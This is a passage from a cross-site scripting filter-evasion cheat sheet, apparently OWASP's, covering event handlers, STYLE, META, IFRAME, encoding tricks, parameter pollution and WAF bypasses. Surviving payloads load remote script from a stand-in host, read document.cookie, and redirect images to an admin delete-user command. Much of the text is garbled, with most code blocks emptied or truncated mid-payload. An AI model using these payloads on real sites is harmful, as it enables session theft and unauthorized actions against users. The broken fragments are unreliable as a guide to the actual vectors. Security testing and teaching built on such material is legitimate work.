the user to use their mouse wheel)\n- `onMove()` (user or attacker would move the page)\n- `onMoveEnd()` (user or attacker would move the page)\n- `onMoveStart()` (user or attacker would move the page)\n- `onOffline()` (occurs if the browser is working in online mode and it starts to work offline)\n- `onOnline()` (occurs if the browser is working in offline mode and it starts to work online)\n- `onOutOfSync()` (interrupt the element's ability to play its media as defined by the timeline)\n- `onPaste()` (user would need to paste or attacker could use the `execCommand(\"Paste\")` function)\n- `onPause()` (the onpause event fires on every element that is active when the timeline pauses, including the body element)\n- `onPopState()` (fires when user navigated the session history)\n- `onPropertyChange()` (user or attacker would need to change an element property)\n- `onReadyStateChange()` (user or attacker would need to change an element property)\n- `onRedo()` (user went forward in undo transaction history)\n- `onRepeat()` (the event fires once for each repetition of the timeline, excluding the first full cycle)\n- `onReset()` (user or attacker resets a form)\n- `onResize()` (user would resize the window; attacker could auto initialize with something like: `` )\n- `onResizeEnd()` (user would resize the window; attacker could auto initialize with something like: `` )\n- `onResizeStart()` (user would resize the window; attacker could auto initialize with something like: `` )\n- `onResume()` (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)\n- `onReverse()` (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)\n- `onRowsEnter()` (user or attacker would need to change a row in a data source)\n- `onRowExit()` (user or attacker would need to change a row in a data source)\n- `onRowDelete()` (user or attacker would need to delete a row in a data source)\n- `onRowInserted()` (user or attacker would need to insert a row in a data source)\n- `onScroll()` (user would need to scroll, or attacker could use the `scrollBy()` function)\n- `onSeek()` (the `onReverse` event fires when the timeline is set to play in any direction other than forward)\n- `onSelect()` (user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand(\"SelectAll\");` )\n- `onSelectionChange()` (user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand(\"SelectAll\");` )\n- `onSelectStart()` (user needs to select some text - attacker could auto initialize with something like: `window.document.execCommand(\"SelectAll\");` )\n- `onStart()` (fires at the beginning of each marquee loop)\n- `onStop()` (user would need to press the stop button or leave the webpage)\n- `onStorage()` (storage area changed)\n- `onSyncRestored()` (user interrupts the element's ability to play its media as defined by the timeline to fire)\n- `onSubmit()` (requires attacker or user submits a form)\n- `onTimeError()` (user or attacker sets a time property, such as dur, to an invalid value)\n- `onTrackChange()` (user or attacker changes track in a playList)\n- `onUndo()` (user went backward in undo transaction history)\n- `onUnload()` (as the user clicks any link or presses the back button or attacker forces a click)\n- `onURLFlip()` (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)\n- `seekSegmentTime()` (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)\n\n#### BGSOUND¶\n\n```\n \n```\n\n#### & JavaScript includes¶\n\n```\n \n```\n\n#### STYLE sheet¶\n\n```\n \n```\n\n### Remote style sheet¶\n\nUsing something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression. This only works in IE. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:\n\n```\n \n```\n\n#### Remote style sheet part 2¶\n\nThis works the same as above, but uses a `` tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:\n\n```\n \n```\n\n#### Remote style sheet part 3¶\n\nThis only works in Gecko rendering engines and works by binding an XUL file to the parent page.\n\n```\n \n```\n\n### STYLE Tags that Breaks Up JavaScript for XSS¶\n\nThis XSS at times sends IE into an infinite loop of alerts:\n\n```\n \n```\n\n### STYLE Attribute that Breaks Up an Expression¶\n\n```\n \n```\n\n(Created by Roman Ivanov)\n\n### IMG STYLE with Expressions¶\n\nThis is really a hybrid of the last two XSS vectors, but it really does show how hard STYLE tags can be to parse apart. This can send IE into a loop:\n\n```\nexp/* \n```\n\n### STYLE Tag using Background-image¶\n\n```\n \n```\n\n### STYLE Tag using Background¶\n\n```\nBODY{background:url(\"javascript:alert('XSS')\")} \n```\n\n### Anonymous HTML with STYLE Attribute¶\n\nThe IE rendering engine doesn't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:\n\n```\n \n```\n\n### Local htc File¶\n\nThis is a little different than the last two XSS vectors because it uses an .htc file that must be on the same server as the XSS vector. This example file works by pulling in the JavaScript and running it as part of the style attribute:\n\n```\n \n```\n\n### US-ASCII Encoding¶\n\nThis attack uses malformed ASCII encoding with 7 bits instead of 8. This XSS method may bypass many content filters but it only works if the host transmits in US-ASCII encoding or if you set the encoding yourself. This is more useful against web application firewall (WAF) XSS evasion than it is server side filter evasion. Apache Tomcat is the only known server that by default still transmits in US-ASCII encoding.\n\n```\n¼script¾alert(¢XSS¢)¼/script¾ \n```\n\n### META¶\n\nThe odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:\n\n```\n \n```\n\n#### META using Data¶\n\nDirective URL scheme. This attack method is nice because it also doesn't have anything visible that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see [RFC 2397](https://datatracker.ietf.org/doc/html/rfc2397) for more details.\n\n```\n \n```\n\n#### META with Additional URL Parameter¶\n\nIf the target website attempts to see if the URL contains `;` at the beginning you can evade this filter rule with the following technique:\n\n```\n \n```\n\n(Submitted by Moritz Naumann)\n\n### IFRAME¶\n\nIf iFrames are allowed there are a lot of other XSS problems as well:\n\n```\n \n```\n\n### IFRAME Event Based¶\n\nIFrames and most other elements can use event based mayhem like the following:\n\n```\n \n```\n\n(Submitted by: David Cross)\n\n### FRAME¶\n\nFrames have the same sorts of XSS problems as iFrames\n\n```\n \n```\n\n### TABLE¶\n\n```\n \n```\n\n#### TD¶\n\nJust like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:\n\n```\n \n```\n\n### DIV¶\n\n#### DIV Background-image¶\n\n```\n \n```\n\n#### DIV Background-image with Unicode XSS Exploit¶\n\nThis has been modified slightly to obfuscate the URL parameter:\n\n```\n \n```\n\n(Original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail)\n\n#### DIV Background-image Plus Extra Characters¶\n\nRSnake built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):\n\n```\n \n```\n\n#### DIV Expression¶\n\nA variant of this attack was effective against a real-world XSS filter by using a newline between the colon and `expression`:\n\n```\n \n```\n\n### Downlevel-Hidden Block¶\n\nOnly works on the IE rendering engine - Trident. Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our XSS vector to exist. Or the system might try to add comment tags around something in a vain attempt to render it harmless. As we can see, that probably wouldn't do the job:\n\n```\n \n```\n\n### BASE Tag¶\n\n(Works on IE in safe mode) This attack needs the `//` to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that many websites uses dynamically placed images like `images/image.jpg` rather than full paths. If the path includes a leading forward slash like `/images/image.jpg`, you can remove one slash from this vector (as long as there are two to begin the comment this will work):\n\n```\n \n```\n\n### OBJECT Tag¶\n\nIf the system allows objects, you can also inject virus payloads that can infect the users, etc with the APPLET tag. The linked file is actually an HTML file that can contain your XSS:\n\n```\n \n```\n\n### EMBED SVG Which Contains XSS Vector¶\n\nThis attack only works in Firefox:\n\n```\n \n```\n\n(Thanks to nEUrOO for this one)\n\n### XML Data Island with CDATA Obfuscation¶\n\nThis XSS attack works only in IE:\n\n```\ncript:alert('XSS')\"> \n```\n\n### Locally hosted XML with embedded JavaScript that is generated using an XML data island¶\n\nThis attack is nearly the same as above, but instead it refers to a locally hosted (on the same server) XML file that will hold your XSS vector. You can see the result here:\n\n```\n \n```\n\n### HTML+TIME in XML¶\n\nThis attack only works in IE and remember that you need to be between HTML and BODY tags for this to work:\n\n```\n \n\nalert(\"XSS\")\">\n \n```\n\n(This is how Grey Magic hacked Hotmail and Yahoo!)\n\n### Assuming you can only fit in a few characters and it filters against `.js`¶\n\nThis attack allows you to rename your JavaScript file to an image as an XSS vector:\n\n```\n \n```\n\n### SSI (Server Side Includes)¶\n\nThis requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:\n\n```\n \n```\n\n### PHP¶\n\nThis attack requires PHP to be installed on the server. Again, if you can run any scripts remotely like this, there are probably much more dire issues:\n\n```\nalert(\"XSS\")'); ?> \n```\n\n### IMG Embedded Commands¶\n\nThis attack only works when this is injected (like a web-board) in a web page behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc. This is one of the lesser used but more useful XSS vectors:\n\n```\n \n```\n\n#### IMG Embedded Commands part II¶\n\nThis is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal `` could actually be an attack vector to run commands as the user who views the image link. Here is the `.htaccess` (under Apache) line to accomplish the vector:\n\n```\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\n```\n\n(Thanks to Timo for part of this)\n\nThis method is pretty obscure but there are a few examples where `alert('XSS')\"> \n```\n\n### XSS Using HTML Quote Encapsulation¶\n\nThis attack was originally tested in IE so your mileage may vary. For performing XSS on sites that allow ` \n```\n\nIf you are performing XSS on sites that allow ` \n```\n\nAnother XSS to evade the same filter: `/\\\\\\s\\]+))?)+\\\\s\\*|\\\\s\\*)src/i`:\n\n```\n\" '' SRC=\"httx://xss.rocks/xss.js\"> \n```\n\nYet another XSS that evades the same filter: `/\\\\\\s\\]+))?)+\\\\s\\*|\\\\s\\*)src/i`\n\nGenerally, we are not discussing mitigation techniques, but the only thing that stops this XSS example is, if you still want to allow ` \n```\n\nAnd one last XSS attack to evade, `/\\\\\\s\\]+))?)+\\\\s\\*|\\\\s\\*)src/i` using grave accents (again, doesn't work in Firefox):\n\n```\n` SRC=\"httx://xss.rocks/xss.js\"> \n```\n\nHere's an XSS example which works if the regex won't catch a matching pair of quotes but instead will find any quotes to terminate a parameter string improperly:\n\n```\n'>\" SRC=\"httx://xss.rocks/xss.js\"> \n```\n\nThis XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:\n\n```\nPT SRC=\"httx://xss.rocks/xss.js\"> \n```\n\n### URL String Evasion¶\n\nThe following attacks work if `http://www.google.com/` is programmatically disallowed:\n\n#### IP Versus Hostname¶\n\n```\nXSS \n```\n\n#### URL Encoding¶\n\n```\nXSS \n```\n\n#### DWORD Encoding¶\n\nNote: there are other of variations of DWORD encoding - see the IP Obfuscation calculator below for more details:\n\n```\nXSS \n```\n\n#### Hex Encoding¶\n\nThe total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quote is not required:\n\n```\nXSS \n```\n\n#### Octal Encoding¶\n\nAgain padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc:\n\n```\nXSS \n```\n\n#### Base64 Encoding¶\n\n```\n \n```\n\n#### Mixed Encoding¶\n\nLet's mix and match base encoding and throw in some tabs and newlines (why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:\n\n```\nXSS \n```\n\n#### Protocol Resolution Bypass¶\n\n`//` translates to `http://`, which saves a few more bytes. This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like `(ht|f)tp(s)?://` (thanks to Ozh for part of this one). You can also change the `//` to `\\\\\\\\`. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL:\n\n```\nXSS \n```\n\n#### Removing CNAMEs¶\n\nWhen combined with the above URL, removing `www.` will save an additional 4 bytes for a total byte savings of 9 for servers that have set this up properly:\n\n```\nXSS \n```\n\nExtra dot for absolute DNS:\n\n```\nXSS \n```\n\n#### JavaScript Link Location¶\n\n```\nXSS \n```\n\n#### Content Replace as Attack Vector¶\n\nAssuming `http://www.google.com/` is programmatically replaced with nothing. A similar attack vector has been used against several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector `java&\\#x09;script:` was converted into `java script:`, which renders in IE:\n\n```\nXSS \n```\n\n### Assisting XSS with HTTP Parameter Pollution¶\n\nIf a content sharing flow on a web site is implemented as shown below, this attack will work. There is a `Content` page which includes some content provided by users and this page also includes a link to `Share` page which enables a user choose their favorite social sharing platform to share it on. Developers HTML encoded the `title` parameter in the `Content` page to prevent against XSS but for some reasons they didn't URL encoded this parameter to prevent from HTTP Parameter Pollution. Finally they decide that since `content_type`'s value is a constant and will always be integer, they didn't encode or validate the `content_type` in the `Share` page.\n\n#### Content Page Source Code¶\n\n```\na href=\"/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>\">Share \n```\n\n```\n \n```\n\n#### Content Page Output¶\n\nIf attacker set the untrusted content title as `This is a regular title&content_type=1;alert(1)` the link in `Content` page would be this:\n\n```\nShare \n```\n\nAnd in share page output could be this:\n\n```\n \n```\n\nAs a result, in this example the main flaw is trusting the content_type in the `Share` page without proper encoding or validation. HTTP Parameter Pollution could increase impact of the XSS flaw by promoting it from a reflected XSS to a stored XSS.\n\n## Character Escape Sequences¶\n\nHere are all the possible combinations of the character `\\<` in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.\n\n- `<`\n- `%3C`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `<`\n- `\\x3c`\n- `\\x3C`\n- `\\u003c`\n- `\\u003C`\n\n## Methods to Bypass WAF – Cross-Site Scripting¶\n\n### General issues¶\n\n#### Stored XSS¶\n\nIf an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.\n\n#### Reflected XSS in JavaScript¶\n\nExample:\n\n```\n \n```\n\nExploitation:\n\n```\n/?xss=500); alert(document.cookie);// \n```\n\n#### DOM-based XSS¶\n\nExample:\n\n```\n \n```\n\nExploitation:\n\n```\n/?xss=document.cookie \n```\n\n#### XSS via request Redirection¶\n\nVulnerable code:\n\n```\n... header('Location: '.$_GET['param']); ... \n```\n\nAs well as:\n\n```\n... header('Refresh: 0; URL='.$_GET['param']); ... \n```\n\nThis request will not pass through the WAF:\n\n```\n/?param=)\n```\n\nThis request will pass through the WAF and an XSS attack will be conducted in certain browsers:\n\n```\n/?param=`\n- `